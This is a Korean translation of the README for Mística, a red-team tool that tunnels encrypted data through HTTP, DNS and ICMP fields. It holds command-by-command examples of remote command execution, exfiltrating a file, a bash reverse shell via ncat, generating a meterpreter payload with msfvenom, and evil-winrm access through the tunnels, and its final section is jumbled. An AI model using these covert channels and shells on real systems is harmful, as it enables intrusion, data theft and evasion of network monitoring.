
애플리케이션 프로토콜을 통한 임의의 통신을 위한 오픈소스 만능 도구
![]() |
|---|
| Mística 로고: JoelGMSec 제작 |
Mística는 애플리케이션 계층 프로토콜 필드에 데이터를 삽입하여 양방향 통신 채널을 구축할 수 있는 도구입니다. 현재 HTTP, HTTPS, DNS 및 ICMP 프로토콜에 대한 캡슐화가 구현되어 있으며, 가까운 시일 내에 더 많은 프로토콜이 도입될 예정입니다.
Mística는 SOTP(Simple Overlay Transport Protocol)라는 사용자 정의 전송 프로토콜을 기반으로 한 모듈식 설계를 갖추고 있습니다. 데이터는 암호화되고 청크로 분할되어 SOTP 패킷에 담깁니다. SOTP 패킷은 인코딩되어 애플리케이션 프로토콜의 원하는 필드에 삽입된 후 상대방에게 전송됩니다.
SOTP 계층의 목표는 최소한의 오버헤드로 일반적인 이진 전송 프로토콜을 제공하는 것입니다. SOTP 패킷은 합법적인 애플리케이션 프로토콜에 쉽게 숨겨지거나 삽입될 수 있습니다. 또한 SOTP는 패킷이 상대방에게 수신되도록 보장하고, RC4를 사용하여 데이터를 암호화하며(향후 변경될 수 있음), 폴링 메커니즘을 통해 정보가 양방향으로 투명하게 흐를 수 있도록 합니다.
모듈은 다양한 목적으로 SOTP 계층과 상호 작용합니다:
래퍼와 오버레이 모듈은 함께 작동하여 사용자 정의 애플리케이션을 구축합니다. 예: DNS를 통한 입력 리디렉션, HTTP를 통한 원격 포트 포워딩.
Mistica의 모듈식 설계는 새로운 모듈 개발을 용이하게 합니다. 또한 사용자는 현재 모듈을 쉽게 포크하여 사용자 정의 필드나 인코딩을 사용하거나 오버레이 모듈의 동작을 수정할 수 있습니다.
두 가지 주요 소프트웨어가 있습니다:
ms.py): 원하는 애플리케이션 계층 프로토콜(HTTP, HTTPS, DNS, ICMP...)의 서버 역할을 하는 모듈을 사용합니다. 또한 여러 서버, 래퍼 및 오버레이를 ms.py 단일 인스턴스로 동시에 실행할 수 있도록 설계되었지만, 이 기능은 아직 완전히 구현되지 않았습니다.mc.py): 원하는 애플리케이션 계층 프로토콜(HTTP, HTTPS, DNS, ICMP...)의 클라이언트 역할을 하는 모듈을 사용합니다. 한 번에 하나의 오버레이와 하나의 래퍼만 사용할 수 있습니다.Mística 데모는 다음 재생 목록에서 확인할 수 있습니다.
이 프로젝트는 의존성이 매우 적습니다. 현재:
dnslib가 필요합니다.```
python3.7 -m pip install pip --user
pip3.7 install dnslib --user시스템에 Python을 설치하고 싶지 않다면, 다음 휴대용 버전 중 하나를 사용할 수 있습니다:
- https://www.anaconda.com/distribution/#download-section (Windows, Linux 및 macOS용)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (Windows 전용)
## 현재 모듈
오버레이 모듈:
- `io`: stdin에서 읽어 SOTP 연결을 통해 전송합니다. SOTP 연결에서 읽어 stdout에 출력합니다.
- `shell`: SOTP 연결을 통해 수신된 명령을 실행하고 출력을 반환합니다. io 모듈과 호환됩니다.
- `tcpconnect`: TCP 포트에 연결합니다. 소켓에서 읽어 SOTP 연결을 통해 전송합니다. SOTP 연결에서 읽어 소켓을 통해 전송합니다.
- `tcplisten`: TCP 포트에 바인딩합니다. 소켓에서 읽어 SOTP 연결을 통해 전송합니다. SOTP 연결에서 읽어 소켓을 통해 전송합니다.
래핑 모듈:
- `dns`: 다양한 방법을 사용하여 DNS 쿼리/응답에서 데이터를 인코딩/디코딩합니다.
- `http`: 다양한 방법을 사용하여 HTTP 또는 HTTPS 요청/응답에서 데이터를 인코딩/디코딩합니다.
- `icmp`: 데이터 섹션의 ICMP 에코 요청/응답에서 데이터를 인코딩/디코딩합니다.
## 사용법
`ms.py`: Mística 서버
도움말 메시지는 다음과 같습니다:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Mística 서버에는 두 가지 주요 모드가 있습니다:
ms.py가 매개변수와 함께 실행되면, 단일 오버레이 모듈이 단일 래퍼 모듈과 상호작용할 수 있습니다.ms.py가 매개변수 없이 실행되면, 사용자는 대화형 콘솔에 진입하게 되며, 여기서 여러 오버레이 및 래퍼 모듈을 실행할 수 있습니다. 이러한 모듈들은 제한이 거의 없이 서로 상호작용할 수 있습니다.mc.py: Mística 클라이언트
도움말 메시지는 다음과 같습니다:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### 매개변수
- `-l, --list`는 모든 모듈을 나열(`all`), 한 가지 유형만 나열(`overlays` 또는 `wrappers`)하거나 `-o`, `-w` 또는 `-s`를 통해 특정 모듈이 허용하는 매개변수를 나열하는 데 사용됩니다.
- `-k, --key`는 오버레이 통신을 암호화하는 데 사용할 키를 지정합니다. 이 키는 클라이언트와 서버에서 동일해야 하며 현재는 필수입니다. 향후 비밀 공유(secret-sharing) 방식이 구현되면 변경될 수 있습니다.
- `-m, --modules`는 사용할 모듈 쌍을 지정합니다. 다음 형식을 사용해야 합니다: **overlay_module** + **:** + **wrap_module**. 이 매개변수도 필수입니다.
- `-w, --wrapper-args`는 래핑 모듈의 특정 구성을 지정할 수 있게 합니다.
- `-o, --overlay-args`는 오버레이 모듈의 특정 구성을 지정할 수 있게 합니다.
- `-s, --wrap-server-args`는 `ms.py`에만 존재합니다. 랩 서버의 특정 구성을 지정할 수 있게 합니다. 각 랩 모듈은 랩 서버에 의존하며, 두 구성 모두 조정할 수 있습니다.
## 예제 및 고급 사용
> 모듈의 허용된 모든 매개변수를 보려면 `-l <module_name>`을 입력하면 됩니다(예: `./ms.py -l dns`). 또한 통신을 보호하기 위해 길고 복잡한 키를 사용하는 것을 잊지 마세요!
### HTTP
HTTP 캡슐화의 다양한 방법을 설명하기 위해 모든 예제에서 IO 리디렉션 오버레이 모듈(`io`)을 사용하겠습니다.
- 기본 URI에서 b64 인코딩을 사용한 HTTP GET 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey"`
- 기본 URI에서 b64 인코딩을 사용한 HTTP GET 메서드, **IP 주소 및 포트 지정**.
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- **사용자 정의 URI**에서 b64 인코딩을 사용한 HTTP GET 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- **사용자 정의 헤더**에서 b64 인코딩을 사용한 HTTP GET 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- 기본 필드에서 b64 인코딩을 사용한 HTTP **POST** 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- **사용자 정의 헤더**에서 b64 인코딩을 사용한 HTTP **POST** 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- **사용자 정의 필드**에서 b64 인코딩을 사용한 HTTP **POST** 메서드, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- **사용자 정의 필드**에서 b64 인코딩을 사용한 HTTP **POST** 메서드, **사용자 정의 패킷 크기, 사용자 정의 재시도 횟수, 사용자 정의 타임아웃 및 IP와 포트 지정**:
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- **사용자 정의 필드**에서 b64 인코딩을 사용한 HTTP **POST** 메서드, **사용자 정의 오류 템플릿 사용**, localhost 및 포트 8080 사용(기본값).
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- 기본 URI에서 b64 인코딩을 사용한 HTTP GET 메서드, **사용자 정의 HTTP 응답 코드** 사용, localhost 및 포트 8080 사용(기본값):
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 443 포트를 사용하여 기본 URI에서 b64 인코딩을 사용한 HTTPS GET 메서드. Mistica 서버에서 ssl 옵션을 사용하려면 인증서를 생성해야 하며, Mistica 클라이언트는 ssl 플래그만 받으면 됩니다:
- Mística 서버:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- 기본 URI에서 b64 인코딩을 사용한 HTTP GET 메서드, Mistica 클라이언트에서 프록시 서버 사용(컴퓨터 구성에 지정되지 않은 회사 프록시를 반드시 거쳐야 하는 환경에서 사용 가능). Burpsuite로 다음 예제를 테스트해 보세요:
- Mística 서버: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Mística 클라이언트: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
DNS 캡슐화의 다양한 방법을 설명하기 위해 모든 예제에서 IO 리디렉션 오버레이 모듈(`io`)을 사용하겠습니다.
- TXT 쿼리, localhost 및 포트 5353 사용(기본값):
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey"`
- NS 쿼리, localhost 및 포트 5353 사용(기본값):
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME 쿼리, localhost 및 포트 5353 사용(기본값):
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX 쿼리, localhost 및 포트 5353 사용(기본값):
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA 쿼리, localhost 및 포트 5353 사용(기본값):
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT 쿼리, localhost 및 포트 5353 사용(기본값) 및 **사용자 정의 도메인**:
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Mística 클라이언트:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT 쿼리, 포트 및 호스트 이름 지정:
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT 쿼리, 여러 하위 도메인 사용:
- Mística 서버: `./ms.py -m io:dns -k "rc4testkey"`
- Mística 클라이언트: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
리눅스 커널은 icmp echo 요청 패킷을 수신하면 기본적으로 자동으로 icmp echo 응답 패킷으로 응답합니다(응답할 수 있는 옵션을 제공하지 않음). 따라서 클라이언트가 보낸 데이터와 다른 데이터를 포함한 자체 패킷을 보내려면 icmp 응답을 비활성화해야 합니다. 이를 위해 다음을 수행합니다:
커널의 자동 icmp 응답 비활성화(*루트 권한 필요*) `/etc/sysctl.conf` 파일 편집:
- `/etc/sysctl.conf` 파일에 다음 줄을 추가합니다:```
net.ipv4.icmp_echo_ignore_all=1
sysctl -p를 실행하여 적용합니다.이제 ICMP 캡슐화의 다양한 방법을 설명하기 위해 모든 예제에서 IO 리디렉션 오버레이 모듈(io)을 사용합니다.
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"io와 shell 모듈을 결합하여 사용자 정의 채널을 통해 mística로 원격 명령 실행을 할 수 있습니다. 예시:
DNS를 통해 TXT 쿼리를 사용하여 클라이언트 시스템에서 명령 실행.
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"HTTP를 통해 GET 요청을 사용하여 서버 시스템에서 명령 실행:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"ICMP를 통해 클라이언트 시스템에서 명령 실행:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"IO 모듈과 리디렉션 연산자를 사용하여 HTTP를 통해 파일 추출:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdftype confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv127.0.0.1:4444 주소가 서버의 127.0.0.1:5555 주소로 전달됩니다. 5555에서 이미 수신 중인 무언가가 있어야 합니다.
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"127.0.0.1:4444 주소가 클라이언트의 127.0.0.1:5555 주소로 전달됩니다. 5555에서 이미 수신 중인 무언가가 있어야 합니다.
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"로컬 사용을 위해 Docker 이미지가 생성되었습니다. 이는 도구를 테스트하려는 경우에만 Python이나 dnslib를 설치하지 않아도 되며, 다른 로컬 애플리케이션에서 발생하는 노이즈를 피할 수 있어 디버그 등에서 매우 유용합니다. 빌드하려면 다음 단계를 따르면 됩니다:
* 둘째, 다음 명령어로 네트워크를 생성하세요:```
sudo docker network create misticanw
* 넷째, 클라이언트를 다음 명령어로 실행합니다:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
Mística는 Python으로 개발된 도구로, 이론적으로는 컴파일이 가능합니다.
도구를 컴파일하기 위해 Pyinstaller를 사용할 것입니다. 이 도구를 사용하면 (우리가 사용하는 운영 체제에 따라) 바이너리를 생성할 수 있습니다. 즉, C, C++, Golang, Rust 등 다른 언어처럼 크로스 컴파일을 할 수 없습니다. 이를 가능하게 하는 방법을 연구 중입니다. 하지만, 모든 운영 체제에서 Mística를 컴파일할 수 있는 Pyinstaller 명령어를 제공합니다:
Mística Client는 의존성이 없으므로 Pyinstaller로 직접 컴파일할 수 있습니다. 컴파일하려면 다음 단계를 따르세요:
* 이제, 다음 명령어로 Mística Client를 컴파일하세요:```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
Mística 서버를 컴파일하려면 Pip을 사용하여 Dnslib 라이브러리를 전역에 설치해야 합니다(Mística의 유일한 종속성이며 Mística 서버에만 필요함). 이를 위해 다음 단계를 따라야 합니다:
pip install dnslib ("--user" 플래그 없이 설치해야 전역에 설치되며, 그렇지 않으면 pyinstaller가 숨은 가져오기로 추가할 수 없습니다. 이 단계는 관리자 권한이 필요합니다)pip install pyinstaller.## 향후 작업
- 크로스 컴파일 방법: 대상 운영체제에서 컴파일할 필요 없이 Mistica를 다양한 운영체제용으로 컴파일할 수 있도록 하는 방법.
- SOTP 프로토콜을 위한 투명한 Diffie-Hellman 키 생성
- 멀티 핸들러 모드: `ms.py`의 대화형 모드. 이를 통해 사용자는 여러 개의 오버레이, 여러 개의 래퍼, 그리고 랩 서버당 여러 개의 랩 모듈을 결합할 수 있습니다.
- 사용자 정의 모듈 개발을 위한 모듈 개발 문서. 현재 모듈 사양이 개발 중이므로 권장되지 않습니다.
- 다음 모듈:
- SMB 래퍼
- RAT 및 RAT 핸들러 오버레이
- SOCKS 프록시 및 동적 포트 포워딩 오버레이
- 파일 전송 오버레이
- RDP 래퍼
- 더 복잡한 캡슐화를 위한 사용자 정의 HTTP 템플릿
- 사용자 정의 클라이언트 또는 서버를 위한 SOTP 프로토콜 사양 문서. 현재 프로토콜이 개발 중이므로 권장되지 않습니다.
## 작성자 및 라이선스
이 프로젝트는 Carlos Fernández Sánchez와 Raúl Caro Teixidó에 의해 개발되었습니다. 코드는 GNU General Public License v3에 따라 배포됩니다.
이 프로젝트는 다음을 포함한 타사 오픈소스 코드를 사용합니다:
- [Bitstring](https://github.com/scott-griffiths/bitstring) - Scott Griffiths 개발.
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) - David Buchanan 개발.
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) - Vlad Vitan 개발.
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) - Raul Caro 개발.
nc -nlvp 5555./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"ncat -nve /bin/bash 127.0.0.1 4444meterpreter_reverse_tcp (linux) 실행. msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin 으로 생성된 페이로드.
msfconsole 실행 후 핸들러 시작: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./meterpreter_reverse_tcp_localhost_4444.bin./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vvpython.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vvevil-winrm -u Administrador -i 127.0.0.1 -P 5555